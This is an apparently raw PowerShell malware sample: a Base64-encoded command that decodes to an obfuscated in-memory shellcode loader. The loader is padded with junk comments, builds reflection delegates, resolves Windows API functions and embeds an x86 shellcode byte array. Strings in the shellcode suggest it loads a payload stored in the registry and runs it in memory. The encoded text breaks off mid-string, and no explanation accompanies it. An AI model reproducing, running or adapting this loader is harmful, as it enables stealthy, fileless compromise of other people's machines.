([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('I2Z3d3Jkb3FmZWZtZHpxeHF1ZWR5aGdmaWdmYWtidXRla2MNCnNsZWVwKDE1KTt0cnl7DQojaXFtZnVyZ2INCmZ1bmN0aW9uIGdkZWxlZ2F0ZXsNCiNvYWZ2DQpQYXJhbSAoW1BhcmFtZXRlcihQb3NpdGlvbj0wLE1hbmRhdG9yeT0kVHJ1ZSldIFtUeXBlW11dICRQYXJhbWV0ZXJzLFtQYXJhbWV0ZXIoUG9zaXRpb249MSldIFtUeXBlXSAkUmV0dXJuVHlwZT1bVm9pZF0pOw0KI3Bqdm54aWV2YmsNCiRUeXBlQnVpbGRlcj1bQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5EZWZpbmVEeW5hbWljQXNzZW1ibHkoKE5ldy1PYmplY3QgU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHlOYW1lKCJSZWZsZWN0ZWREZWxlZ2F0ZSIpKSxbU3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5Bc3NlbWJseUJ1aWxkZXJBY2Nlc3NdOjpSdW4pLkRlZmluZUR5bmFtaWNNb2R1bGUoIkluTWVtb3J5TW9kdWxlIiwkZmFsc2UpLkRlZmluZVR5cGUoIlhYWCIsIkNsYXNzLFB1YmxpYyxTZWFsZWQsQW5zaUNsYXNzLEF1dG9DbGFzcyIsW1N5c3RlbS5NdWx0aWNhc3REZWxlZ2F0ZV0pOw0KI2FxaXINCiRUeXBlQnVpbGRlci5EZWZpbmVDb25zdHJ1Y3RvcigiUlRTcGVjaWFsTmFtZSxIaWRlQnlTaWcsUHVibGljIixbU3lzdGVtLlJlZmxlY3Rpb24uQ2FsbGluZ0NvbnZlbnRpb25zXTo6U3RhbmRhcmQsJFBhcmFtZXRlcnMpLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoIlJ1bnRpbWUsTWFuYWdlZCIpOw0KI3VtcXdodHdlcg0KJFR5cGVCdWlsZGVyLkRlZmluZU1ldGhvZCgiSW52b2tlIiwiUHVibGljLEhpZGVCeVNpZyxOZXdTbG90LFZpcnR1YWwiLCRSZXR1cm5UeXBlLCRQYXJhbWV0ZXJzKS5TZXRJbXBsZW1lbnRhdGlvbkZsYWdzKCJSdW50aW1lLE1hbmFnZWQiKTsNCiNqcHl4bG8NCnJldHVybiAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpO30NCiNkdWVwZWVxeA0KZnVuY3Rpb24gZ3Byb2N7DQojemdhc2MNClBhcmFtIChbUGFyYW1ldGVyKFBvc2l0aW9uPTAsTWFuZGF0b3J5PSRUcnVlKV0gW1N0cmluZ10gJE1vZHVsZSxbUGFyYW1ldGVyKFBvc2l0aW9uPTEsTWFuZGF0b3J5PSRUcnVlKV0gW1N0cmluZ10gJFByb2NlZHVyZSk7DQojYnR1cmhscHMNCiRTeXN0ZW1Bc3NlbWJseT1bQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5HZXRBc3NlbWJsaWVzKCl8V2hlcmUtT2JqZWN0eyRfLkdsb2JhbEFzc2VtYmx5Q2FjaGUgLUFuZCAkXy5Mb2NhdGlvbi5TcGxpdCgiXCIpWy0xXS5FcXVhbHMoIlN5c3RlbS5kbGwiKX07DQojZWNhcWR2d21pDQokVW5zYWZlTmF0aXZlTWV0aG9kcz0kU3lzdGVtQXNzZW1ibHkuR2V0VHlwZSgiTWljcm9zb2Z0LldpbjMyLlVuc2FmZU5hdGl2ZU1ldGhvZHMiKTsNCiNudWZlbXdnbGoNCnJldHVybiAkVW5zYWZlTmF0aXZlTWV0aG9kcy5HZXRNZXRob2QoIkdldFByb2NBZGRyZXNzIikuSW52b2tlKCRudWxsLEAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWZdKE5ldy1PYmplY3QgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZigoTmV3LU9iamVjdCBJbnRQdHIpLCRVbnNhZmVOYXRpdmVNZXRob2RzLkdldE1ldGhvZCgiR2V0TW9kdWxlSGFuZGxlIikuSW52b2tlKCRudWxsLEAoJE1vZHVsZSkpKSksJFByb2NlZHVyZSkpO30NCiNicWR6dW1zdw0KW0J5dGVbXV0gJHNjMzIgPSAweDU1LDB4OEIsMHhFQywweDgxLDB4QzQsMHgwMCwweEZBLDB4RkYsMHhGRiwweDUzLDB4NTYsMHg1NywweDUzLDB4NTYsMHg1NywweEZDLDB4MzEsMHhEMiwweDY0LDwjdnEjPjB4OEIsMHg1MiwweDMwLDB4OEIsMHg1MiwweDBDLDB4OEIsMHg1MiwweDE0LDB4OEIsMHg3MiwweDI4LDB4NkEsMHgxOCwweDU5LDB4MzEsMHhGRiwweDMxLDB4QzAsMHhBQywweDNDLDB4NjEsMHg3QywweDAyLDB4MkMsPCNlcCM+MHgyMCwweEMxLDB4Q0YsMHgwRCwweDAxLDB4QzcsPCNvcyM+MHhFMiwweEYwLDB4ODEsMHhGRiwweDVCLDB4QkMsMHg0QSwweDZBLDB4OEIsMHg1QSwweDEwLDB4OEIsMHgxMiwweDc1LDB4REIsMHg4OSwweDVELDB4RkMsMHg1RiwweDVFLDB4NUIsMHg4QiwweDQ1LDB4RkMsMHg4OSwweDQ1LDB4RDQsMHg4QiwweDQ1LDB4RDQsMHg2NiwweDgxLDB4MzgsMHg0RCwweDVBLDB4MEYsMHg4NSwweDBGLDB4MDIsMHgwMCwweDAwLDB4OEIsPCN5byM+MHg0NSwweEZDLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweDQ1LDB4RDQsMHg4QiwweDQwLDwjZ3ppIz4weDNDLDB4OTksMHgwMywweDA0LDB4MjQsMHgxMywweDU0LDwjZ3luIz4weDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHg4OSw8I3B3Iz4weDQ1LDB4RDAsMHg4QiwweDQ1LDB4RDAsPCNjbiM+MHg4MSwweDM4LDB4NTAsMHg0NSwweDAwLDB4MDAsMHgwRiwweDg1LDB4RTUsMHgwMSwweDAwLDB4MDAsMHg4QiwweDQ1LDB4RDAsMHg4QiwweDQwLDwjZmMjPjB4NzgsMHgwMywweDQ1LDB4RkMsMHg4OSwweDQ1LDB4Q0MsMHg4QiwweDQ1LDB4Q0MsMHg4QiwweDQwLDB4MTgsMHg4NSwweEMwLDB4MEYsMHg4QywweENCLDB4MDEsMHgwMCwweDAwLDB4NDAsMHg4OSwweDg1LDB4M0MsMHhGRiwweEZGLDB4RkYsMHgzMywweEY2LDB4OEIsMHg0NSwweEZDLDB4MzMsMHhEMiw8I21jbCM+MHg1MiwweDUwLDB4OEIsMHg0NSwweENDLDB4OEIsMHg0MCwweDIwLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweEM2LDB4QzEsMHhFMCw8I2RwIz4weDAyLDB4OTksMHgwMywweDA0LDB4MjQsMHgxMywweDU0LDB4MjQsMHgwNCw8I3NrYiM+MHg4MywweEM0LDB4MDgsMHgwMyw8I2VyIz4weDA0LDB4MjQsMHgxMywweDU0LDB4MjQsMHgwNCwweDgzLDB4QzQsMHgwOCwweDhCLDB4MDgsMHgwMywweDRELDB4RkMsMHg4MSwweDM5LDB4NEMsMHg2RiwweDYxLDB4NjQsMHg3NSwweDU2LDB4OEQsMHg0MSwweDA0LDB4ODEsMHgzOCwweDRDLDB4NjksMHg2MiwweDcyLDB4NzUsMHg0QiwweDhELDB4NDEsMHgwOCwweDgxLDB4MzgsMHg2MSw8I2ljIz4weDcyLDB4NzksMHg0MSwweDc1LDB4NDAsPCNvbSM+MHg4RCwweDQxLDB4MEMsMHg4MCwweDM4LDB4MDAsMHg3NSwweDM4LDB4OEIsMHg0NSwweENDLDB4OEIsPCNvY2ojPjB4NDAsMHgyNCwweDAzLDB4NDUsMHhGQywweDMzLDB4RDIsMHg1MiwweDUwLDB4OEIsMHhDNiwweDAzLDB4QzAsMHg5OSwweDAzLDB4MDQsMHgyNCwweDEzLDB4NTQsMHgyNCwweDA0LDB4ODMsMHhDNCwweDA4LDB4NjYsMHg4QiwweDAwLDB4OEIsMHg1NSwweENDLDB4OEIsMHg1MiwweDFDLDB4MDMsMHg1NSwweEZDLDB4MEYsMHhCNywweEMwLDB4QzEsMHhFMCwweDAyLDB4MDMsMHhEMCwweDhCLDB4MDIsMHgwMywweDQ1LDB4RkMsMHg4OSwweDQ1LDB4QkMsMHg4MSwweDM5LDB4NDcsMHg2NSw8I3hkYyM+MHg3NCwweDUwLDB4NzUsMHg1NiwweDhELDB4NDEsMHgwNCwweDgxLDB4MzgsMHg3MiwweDZGLDB4NjMsMHg0MSwweDc1LDB4NEIsMHg4RCwweDQxLDB4MDgsMHg4MSwweDM4LDB4NjQsMHg2NCwweDcyLDB4NjUsPCNmZGQjPjB4NzUsMHg0MCwweDhELDB4NDEsMHgwRSwweDgwLDB4MzgsMHgwMCwweDc1LDB4MzgsMHg4QiwweDQ1LDB4Q0MsMHg4QiwweDQwLDB4MjQsMHgwMywweDQ1LDB4RkMsMHgzMyw8I295YSM+MHhEMiwweDUyLDB4NTAsMHg4QiwweEM2LDB4MDMsMHhDMCwweDk5LDB4MDMsPCNjYmgjPjB4MDQsMHgyNCwweDEzLDB4NTQsMHgyNCwweDA0LDwjcWojPjB4ODMsMHhDNCw8I2lzIz4weDA4LDB4NjYsMHg4QiwweDAwLDB4OEIsMHg1NSwweENDLDB4OEIsMHg1MiwweDFDLDB4MDMsMHg1NSwweEZDLDB4MEYsMHhCNywweEMwLDB4QzEsMHhFMCwweDAyLDB4MDMsMHhEMCwweDhCLDB4MDIsMHgwMywweDQ1LDB4RkMsMHg4OSwweDQ1LDB4QjgsMHg4MSwweDM5LDB4NTYsPCNociM+MHg2OSwweDcyLDB4NzQsMHg3NSwweDU2LDB4OEQsMHg0MSwweDA0LDB4ODEsMHgzOCwweDc1LDB4NjEsMHg2Qyw8I2hwYSM+MHg0MSwweDc1LDB4NEIsMHg4RCwweDQxLDB4MDgsMHg4MSwweDM4LDB4NkMsMHg2QywweDZGLDB4NjMsMHg3NSw8I3BuIz4weDQwLDB4OEQsMHg0MSwweDBDLDB4ODAsMHgzOCwweDAwLDB4NzUsMHgzOCw8I291Iz4weDhCLDB4NDUsMHhDQywweDhCLDB4NDAsMHgyNCwweDAzLDB4NDUsMHhGQywweDMzLDB4RDIsMHg1MiwweDUwLDB4OEIsMHhDNiwweDAzLDB4QzAsMHg5OSwweDAzLDB4MDQsMHgyNCwweDEzLDB4NTQsMHgyNCwweDA0LDB4ODMsMHhDNCwweDA4LDB4NjYsMHg4QiwweDAwLDB4OEIsMHg1NSwweENDLDB4OEIsMHg1MiwweDFDLDB4MDMsMHg1NSwweEZDLDB4MEYsMHhCNywweEMwLDB4QzEsMHhFMCwweDAyLDB4MDMsMHhEMCwweDhCLDwjZWdsIz4weDAyLDB4MDMsMHg0NSwweEZDLDB4ODksMHg0NSwweEE4LDB4ODEsMHgzOSwweDQ1LDB4NzgsMHg2OSwweDc0LDB4NzUsMHg2MywweDhELDB4NDEsMHgwNCwweDgxLDB4MzgsMHg1MCwweDcyLDB4NkYsMHg2MywweDc1LDB4NTgsMHg4RCwweDQxLDB4MDgsMHg4MCwweDM4LDB4NjUsMHg3NSwweDUwLDB4OEQsMHg0MSwweDA5LDB4ODAsMHgzOCw8I2l4Iz4weDczLDB4NzUsMHg0OCwweDhELDB4NDEsMHgwQSwweDgwLDB4MzgsMHg3MywweDc1LDB4NDAsMHg4MywweEMxLDB4MEIsMHg4MCwweDM5LDB4MDAsMHg3NSwweDM4LDB4OEIsMHg0NSwweENDLDB4OEIsMHg0MCwweDI0LDB4MDMsMHg0NSwweEZDLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweEM2LDB4MDMsMHhDMCwweDk5LDB4MDMsMHgwNCwweDI0LDB4MTMsMHg1NCwweDI0LDB4MDQsPCN5bmMjPjB4ODMsMHhDNCw8I2pzIz4weDA4LDB4NjYsMHg4Qiw8I25vaiM+MHgwMCwweDhCLDB4NTUsMHhDQywweDhCLDwjc2UjPjB4NTIsMHgxQywweDAzLDB4NTUsMHhGQywweDBGLDB4QjcsMHhDMCwweEMxLDB4RTAsMHgwMiwweDAzLDB4RDAsMHg4QiwweDAyLDB4MDMsMHg0NSwweEZDLDB4ODksMHg0NSwweEE0LDB4NDYsMHhGRiwweDhELDB4M0MsMHhGRiw8I2hzIz4weEZGLDB4RkYsMHgwRiwweDg1LDB4M0UsMHhGRSwweEZGLDB4RkYsPCNwbiM+MHhDNiwweDg1LDB4MkYsMHhGRiwweEZGLDB4RkYsMHg2MSwweEM2LDB4ODUsMHgzMCwweEZGLDB4RkYsMHhGRiw8I3d5YSM+MHg2NCw8I3B3Iz4weEM2LDB4ODUsMHgzMSwweEZGLDB4RkYsMHhGRiwweDc2LDB4QzYsPCNsb3kjPjB4ODUsMHgzMiwweEZGLDB4RkYsMHhGRiwweDYxLDB4QzYsMHg4NSwweDMzLDB4RkYsMHhGRiwweEZGLDB4NzAsMHhDNiwweDg1LDB4MzQsMHhGRiwweEZGLDB4RkYsMHg2OSwweEM2LDB4ODUsMHgzNSw8I3B3diM+MHhGRiwweEZGLDB4RkYsMHgzMywweEM2LDB4ODUsMHgzNiwweEZGLDB4RkYsMHhGRiwweDMyLDB4QzYsMHg4NSwweDM3LDB4RkYsMHhGRiwweEZGLDB4MkUsMHhDNiwweDg1LDB4MzgsMHhGRiwweEZGLDB4RkYsMHg2NCwweEM2LDB4ODUsMHgzOSwweEZGLDB4RkYsMHhGRiwweDZDLDB4QzYsMHg4NSwweDNBLDB4RkYsMHhGRiwweEZGLDB4NkMsMHhDNiwweDg1LDB4M0IsMHhGRiwweEZGLDB4RkYsMHgwMCwweDhELDB4ODUsMHgyRiwweEZGLDB4RkYsMHhGRiwweDUwLDB4RkYsMHg1NSwweEJDLDB4OEIsMHhEOCwweDg1LDwjYnRyIz4weERCLDB4NzUsMHgwNSwweDZBLDwjcWZ4Iz4weDAwLDB4RkYsMHg1NSwweEE0LDB4ODksPCNteiM+MHg1RCwweEQ0LDwjbncjPjB4OEIsMHg0NSwweEQ0LDwjYXEjPjB4NjYsMHg4MSwweDM4LDB4NEQsMHg1QSwweDBGLDB4ODUsMHg0Riw8I3ZlIz4weDAxLDB4MDAsMHgwMCwweDhCLDB4QzMsMHgzMywweEQyLDB4NTIsMHg1MCwweDhCLDB4NDUsMHhENCwweDhCLDwjdXNlIz4weDQwLDwjY2doIz4weDNDLDB4OTksMHgwMywweDA0LDB4MjQsMHgxMywweDU0LDB4MjQsMHgwNCwweDgzLDB4QzQsMHgwOCwweDg5LDB4NDUsMHhEMCwweDhCLDB4NDUsMHhEMCwweDgxLDB4MzgsMHg1MCwweDQ1LDB4MDAsMHgwMCwweDBGLDB4ODUsMHgyNiwweDAxLDB4MDAsMHgwMCwweDhCLDB4NDUsMHhEMCwweDhCLDB4NDAsMHg3OCwweDAzLDB4QzMsMHg4OSw8I2FzbiM+MHg0NSwweENDLDB4OEIsMHg0NSwweENDLDB4OEIsMHg0MCwweDE4LDB4ODUsMHhDMCwweDBGLDB4OEMsMHgwRCwweDAxLDB4MDAsMHgwMCwweDQwLDB4ODksMHg4NSwweDNDLDB4RkYsMHhGRiw8I2ZoeSM+MHhGRiwweDMzLDB4RjYsMHg4QiwweEMzLDB4MzMsMHhEMiwweDUyLDB4NTAsMHg4QiwweDQ1LDB4Q0MsMHg4Qiw8I2NhZiM+MHg0MCw8I29udCM+MHgyMCwweDMzLDB4RDIsMHg1MiwweDUwLDB4OEIsMHhDNiwweEMxLDB4RTAsMHgwMiwweDk5LDB4MDMsMHgwNCwweDI0LDB4MTMsMHg1NCwweDI0LDB4MDQsMHg4MywweEM0LDB4MDgsMHgwMywweDA0LDB4MjQsMHgxMywweDU0LDB4MjQsPCNuayM+MHgwNCwweDgzLDwjZGNiIz4weEM0LDB4MDgsMHg4QiwweDA4LDB4MDMsMHhDQiwweDgxLDB4MzksMHg1MiwweDY1LDB4NjcsMHg0RiwweDc1LDB4NUIsMHg4RCwweDQxLDB4MDQsMHg4MSwweDM4LDB4NzAsMHg2NSwweDZFLDB4NEIsMHg3NSwweDUwLDB4OEQsMHg0MSwweDA4LDB4ODEsMHgzOCwweDY1LDB4NzksMHg0NSwweDc4LDB4NzUsMHg0NSwweDhELDB4NDEsMHgwQywweDgwLDB4MzgsMHg0MSwweDc1LDB4M0QsMHg4RCwweDQxLDB4MEQsMHg4MCwweDM4LDB4MDAsMHg3NSwweDM1LDB4OEIsMHg0NSwweENDLDB4OEIsMHg0MCwweDI0LDB4MDMsMHhDMywweDMzLDB4RDIsMHg1MiwweDUwLDB4OEIsMHhDNiwweDAzLDB4QzAsMHg5OSwweDAzLDB4MDQsMHgyNCwweDEzLDB4NTQsMHgyNCwweDA0LDB4ODMsMHhDNCwweDA4LDB4NjYsMHg4Qiw8I3ZweiM+MHgwMCwweDhCLDB4NTUsMHhDQywweDhCLDB4NTIsMHgxQywweDAzLDwjbmMjPjB4RDMsMHgwRiwweEI3LDB4QzAsMHhDMSwweEUwLDB4MDIsMHgwMywweEQwLDB4OEIsMHgwMiwweDAzLDB4QzMsMHg4OSwweDQ1LDB4QjAsMHg4MSw8I3l6Iz4weDM5LDB4NTIsMHg2NSwweDY3LDB4NTEsMHg3NSwweDVFLDB4OEQsMHg0MSwweDA0LDB4ODEsMHgzOCwweDc1LDB4NjUsMHg3MiwweDc5LDB4NzUsMHg1MywweDhELDwjZHJsIz4weDQxLDB4MDgsPCNsa3AjPjB4ODEsMHgzOCwweDU2LDwjcHJ6Iz4weDYxLDB4NkMsMHg3NSw8I3l0Iz4weDc1LDB4NDgsMHg4RCwweDQxLDB4MEMsMHg4MSw8I2x2ZCM+MHgzOCwweDY1LDB4NDUsMHg3OCwweDQxLDB4NzUsMHgzRCwweDgzLDwjcHdnIz4weEMxLDB4MTAsMHg4MCwweDM5LDB4MDAsMHg3NSwweDM1LDB4OEIsMHg0NSwweENDLDB4OEIsMHg0MCwweDI0LDB4MDMsMHhDMywweDMzLDB4RDIsMHg1MiwweDUwLDB4OEIsMHhDNiwweDAzLDB4QzAsMHg5OSwweDAzLDB4MDQsMHgyNCwweDEzLDB4NTQsMHgyNCwweDA0LDB4ODMsMHhDNCwweDA4LDB4NjYsMHg4QiwweDAwLDB4OEIsMHg1NSwweENDLDB4OEIsMHg1MiwweDFDLDwjcnQjPjB4MDMsMHhEMywweDBGLDB4QjcsMHhDMCwweEMxLDwjZGMjPjB4RTAsMHgwMiwweDAzLDB4RDAsMHg4QiwweDAyLDB4MDMsMHhDMywweDg5LDB4NDUsMHhBQywweDQ2LDB4RkYsPCNvem8jPjB4OEQsMHgzQywweEZGLDB4RkYsMHhGRiwweDBGLDB4ODUsMHhGQywweEZFLDB4RkYsMHhGRiwweDhCLDB4NDUsMHgwOCwweDA1LDB4NDgsMHgwQSwweDAwLDwjY3ZkIz4weDAwLDB4ODksPCNwZyM+MHg4NSwweDdDLDB4RkYsMHhGRiwweEZGLDB4OEIsMHg4NSwweDdDLDB4RkYsMHhGRiwweEZGLDB4MDUsMHhFNCwweDAwLDB4MDAsMHgwMCwweDg5LDB4ODUsMHg3OCwweEZGLDB4RkYsMHhGRiwweDMzLDB4REIsPCNkbSM+MHgzMywweEMwLDB4ODksMHg4NSwweDY0LDB4RkYsMHhGRiwweEZGLDB4MzMsMHhDMCwweDg5LDB4ODUsPCNycCM+MHg2MCwweEZGLDB4RkYsPCN3byM+MHhGRiwweDhELDB4ODUsPCNzcnMjPjB4NzAsMHhGRiwweEZGLDwjdWJoIz4weEZGLDB4NTAsMHg2QSwweDAxLDB4NkEsMHgwMCwweDhCLDB4ODUsMHg3QywweEZGLDB4RkYsMHhGRiwweDUwLDB4NjgsMHgwMiwweDAwLDB4MDAsMHg4MCwweEZGLDB4NTUsMHhCMCwweDg1LDB4QzAsMHgwRiwweDg1LDB4ODYsMHgwMCwweDAwLDB4MDAsMHg4RCwweDg1LDB4NjAsMHhGRiwweEZGLDB4RkYsMHg1MCwweDZBLDB4MDAsMHg4RCwweDg1LDB4NkMsMHhGRiwweEZGLDB4RkYsMHg1MCwweDZBLDB4MDAsMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsMHg4MywweEMwLDB4NDEsMHg1MCwweDhCLDB4ODUsMHg3MCwweEZGLDB4RkYsMHhGRiwweDUwLDB4RkYsMHg1NSwweEFDLDB4ODUsMHhDMCwweDc1LDB4NUMsMHg4MywweEJELDB4NjAsMHhGRiwweEZGLDB4RkYsMHg2NCwweDc2LDB4NTMsPCNtYmwjPjB4NkEsMHg0MCwweDY4LDB4MDAsMHgzMCwweDAwLDB4MDAsMHg4QiwweDg1LDB4NjAsMHhGRiwweEZGLDB4RkYsMHg1MCwweDZBLDB4MDAsMHhGRiwweDU1LDB4QTgsPCNzYyM+MHg4OSwweDg1LDB4NjQsMHhGRiwweEZGLDB4RkYsMHg4MywweEJELDB4NjQsMHhGRiwweEZGLDB4RkYsMHgwMCwweDc0LDB4MzEsPCNtY2gjPjB4OEQsMHg4NSwweDYwLDB4RkYsMHhGRiwweEZGLDB4NTAsMHg4QiwweDg1LDB4NjQsMHhGRiw8I3hyZCM+MHhGRiwweEZGLDB4NTAsPCNmaCM+MHg4RCwweDg1LDB4NkMsMHhGRiwweEZGLDB4RkYsMHg1MCwweDZBLDB4MDAsMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsMHg4MywweEMwLDB4NDEsMHg1MCwweDhCLDB4ODUsMHg3MCwweEZGLDB4RkYsMHhGRiwweDUwLDB4RkYsMHg1NSwweEFDLDB4ODUsPCN4cGUjPjB4QzAsMHg3NSwweDAyLDB4QjMsMHgwMSwweDMzLDB4QzAsMHg4OSw8I2psIz4weDg1LDB4NzAsMHhGRiwweEZGLDB4RkYsMHg4NCwweERCLDB4MEYsMHg4NSwweEI4LDB4MDAsMHgwMCwweDAwLDB4MzMsMHhDMCwweDg5LDB4ODUsPCNrbyM+MHg2NCwweEZGLDB4RkYsMHhGRiwweDMzLDB4QzAsMHg4OSwweDg1LDB4NjAsMHhGRiwweEZGLDB4RkYsMHg4RCwweDg1LDB4NzAsMHhGRiwweEZGLDB4RkYsMHg1MCwweDZBLDB4MDEsMHg2QSw8I250YiM+MHgwMCwweDhCLDB4ODUsMHg3QywweEZGLDB4RkYsMHhGRiwweDUwLDwjYncjPjB4NjgsPCNzdCM+MHgwMSwweDAwLDB4MDAsMHg4MCwweEZGLDB4NTUsMHhCMCwweDg1LDB4QzAsPCNhZ2QjPjB4MEYsMHg4NSwweDg2LDB4MDAsMHgwMCwweDAwLDB4OEQsMHg4NSwweDYwLDB4RkYsMHhGRiwweEZGLDB4NTAsMHg2QSwweDAwLDB4OEQsMHg4NSwweDZDLDB4RkYsMHhGRiwweEZGLDB4NTAsPCNjZyM+MHg2QSwweDAwLDB4OEIsMHg4NSwweDdDLDB4RkYsMHhGRiwweEZGLDB4ODMsMHhDMCwweDQxLDB4NTAsMHg4QiwweDg1LDB4NzAsMHhGRiwweEZGLDB4RkYsMHg1MCwweEZGLDB4NTUsPCN0bCM+MHhBQywweDg1LDB4QzAsMHg3NSwweDVDLDB4ODMsMHhCRCwweDYwLDB4RkYsMHhGRiwweEZGLDB4NjQsMHg3NiwweDUzLDB4NkEsMHg0MCwweDY4LDB4MDAsMHgzMCw8I2ZrZiM+MHgwMCwweDAwLDB4OEIsMHg4NSw8I2xieiM+MHg2MCwweEZGLDB4RkYsMHhGRiwweDUwLDB4NkEsMHgwMCwweEZGLDB4NTUsMHhBOCw8I2l5bSM+MHg4OSwweDg1LDB4NjQsMHhGRiwweEZGLDB4RkYsMHg4MywweEJELDB4NjQsMHhGRiwweEZGLDwjc28jPjB4RkYsMHgwMCwweDc0LDB4MzEsPCNvdXUjPjB4OEQsMHg4NSwweDYwLDB4RkYsMHhGRiwweEZGLDB4NTAsPCN1eiM+MHg4QiwweDg1LDB4NjQsMHhGRiwweEZGLDB4RkYsMHg1MCwweDhELDB4ODUsMHg2QywweEZGLDB4RkYsMHhGRiwweDUwLDB4NkEsMHgwMCwweDhCLDB4ODUsMHg3QywweEZGLDB4RkYsMHhGRiwweDgzLDB4QzAsMHg0MSwweDUwLDB4OEIsMHg4NSwweDcwLDB4RkYsMHhGRiwweEZGLDB4NTAsMHhGRiwweDU1LDB4QUMsPCNidSM+MHg4NSwweEMwLDB4NzUsMHgwMiwweEIzLDB4MDEsMHg4NCwweERCLDB4NzUsMHgwNSwweDZBLDwjeHojPjB4MDAsMHhGRiwweDU1LDB4QTQsMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsMHg4QiwweDgwLDB4REMsMHgwMCwweDAwLDB4MDAsMHg1MCwweDhCLDB4ODUsPCN4Y2ojPjB4N0MsMHhGRiwweEZGLDB4RkYsMHg4MywweEMwLDB4NTIsMHg1MCwweDhELDB4ODUsMHgwMCwweEZBLDB4RkYsMHhGRiwweDUwLDB4RkYsMHg5NSwweDc4LDB4RkYsMHhGRiwweEZGLDB4MzMsMHhGNiwweDhELDB4OEQsMHgwMCwweEZCLDB4RkYsMHhGRiw8I2l5Iz4weDg5LDB4MzEsMHg0NiwweDgzLDB4QzEsMHgwNCwweDgxLDB4RkUsMHgwMCwweDAxLDB4MDAsPCNkbyM+MHgwMCwweDc1LDB4RjIsMHgzMywweERCLDB4MzMsMHhGNiwweDhELDB4OEQsMHgwMCwweEZCLDB4RkYsMHhGRiwweDAzLDB4MTksMHg4QiwweDg1LDB4N0MsMHhGRiwweEZGLDB4RkYsMHhGRiwweEIwLDB4REMsMHgwMCwweDAwLDB4MDAsMHg4QiwweEM2LDB4NUEsMHg4QiwweEZBLDB4MzMsMHhEMiw8I2pocSM+MHhGNywweEY3LDB4MzMsMHhDMCwweDhBLDB4ODQsMHgxNSwweDAwLDB4RkEsMHhGRiwweEZGLDB4MDMsMHhEOCwweDgxLDB4RTMsMHhGRiwweDAwLDB4MDAsMHgwMCwweDhBLDB4MDEsMHg4QiwweDk0LDB4OUQsMHgwMCwweEZCLDwjZXgjPjB4RkYsMHhGRiwweDg5LDB4MTEsMHgyNSwweEZGLDwja28jPjB4MDAsMHgwMCwweDAwLDB4ODksMHg4NCwweDlELDB4MDAsMHhGQiwweEZGLDB4RkYsMHg0NiwweDgzLDB4QzEsMHgwNCwweDgxLDB4RkUsMHgwMCwweDAxLDB4MDAsMHgwMCwweDc1LDB4QjUsMHgzMywweERCLDB4MzMsMHhGRiw8I3NpIz4weDZBLDB4NDAsMHg2OCwweDAwLDB4MzAsMHgwMCwweDAwLDwjcGdwIz4weDhCLDB4ODUsMHg2MCwweEZGLDB4RkYsMHhGRiwweDUwLDB4NkEsPCNjZyM+MHgwMCwweEZGLDB4NTUsMHhBOCwweDg5LDB4ODUsMHg1QywweEZGLDB4RkYsMHhGRiwweDgzLDB4QkQsMHg1QywweEZGLDB4RkYsMHhGRiw8I25kIz4weDAwLDB4NzQsMHgyOSwweDhCLDB4ODUsMHg1QywweEZGLDB4RkYsMHhGRiw8I2V2diM+MHg4OSw8I2lqdiM+MHg4NSwweDRDLDB4RkYsMHhGRiw8I3JkbSM+MHhGRiwweDhCLDB4ODUsMHg2MCwweEZGLDB4RkYsMHhGRiwweDUwLDB4OEIsMHg4NSw8I21oIz4weDY0LDB4RkYsMHhGRiwweEZGLDB4NTAsMHg4QiwweDg1LDB4NEMsPCNjZSM+MHhGRiwweEZGLDB4RkYsMHg1MCwweEZGLDB4OTUsMHg3OCwweEZGLDB4RkYsMHhGRiwweEVCLDB4MDUsMHg2QSwweDAwLDB4RkYsMHg1NSwweEE0LDB4OEIsMHg4NSwweDYwLDwjY2ojPjB4RkYsMHhGRiw8I2VhIz4weEZGLDB4NDgsMHg4NSwweEMwLDB4NzIsMHg3NCwweDQwLDB4ODksMHg4NSwweDNDLDB4RkYsMHhGRiwweEZGLDwjaHNxIz4weDMzLDB4RjYsMHg0Myw8I3puIz4weDgxLDB4RTMsPCNzenUjPjB4RkYsMHgwMCwweDAwLDB4MDAsMHgwMywweEJDLDB4OUQsMHgwMCw8I3B5YyM+MHhGQiwweEZGLDB4RkYsMHg4MSwweEU3LDB4RkYsMHgwMCwweDAwLDB4MDAsMHg4QSwweDg0LDB4OUQsMHgwMCwweEZCLDB4RkYsMHhGRiwweDhCLDwja3R6Iz4weDk0LDB4QkQsMHgwMCwweEZCLDB4RkYsPCN2c2UjPjB4RkYsMHg4OSwweDk0LDB4OUQsMHgwMCwweEZCLDB4RkYsMHhGRiwweDI1LDB4RkYsMHgwMCwweDAwLDB4MDAsMHg4OSwweDg0LDB4QkQsMHgwMCwweEZCLDB4RkYsMHhGRiwweDhCLDB4ODUsMHg0QywweEZGLDB4RkYsMHhGRiwweDhBLDB4MDQsMHgzMCw8I3FpcyM+MHg4QiwweDk0LDwjdWdmIz4weDlELDB4MDAsMHhGQiwweEZGLDB4RkYsMHgwMywweDk0LDB4QkQsMHgwMCwweEZCLDB4RkYsMHhGRiwweDgxLDB4RTIsMHhGRiwweDAwLDB4MDAsMHgwMCwweDMyLDB4ODQsMHg5NSwweDAwLDB4RkIsMHhGRiwweEZGLDB4OEIsMHg5NSwweDRDLDB4RkYsMHhGRiwweEZGLDB4ODgsPCNjY2sjPjB4MDQsMHgzMiw8I2VrIz4weDQ2LDB4RkYsMHg4RCwweDNDLDB4RkYsMHhGRiwweEZGLDB4NzUsMHg5NSwweDhCLDB4ODUsMHg0QywweEZGLDB4RkYsMHhGRiwweDg5LDB4NDUsMHhENCwweDhCLDB4NDUsMHhENCwweDY2LDB4ODEsMHgzOCwwe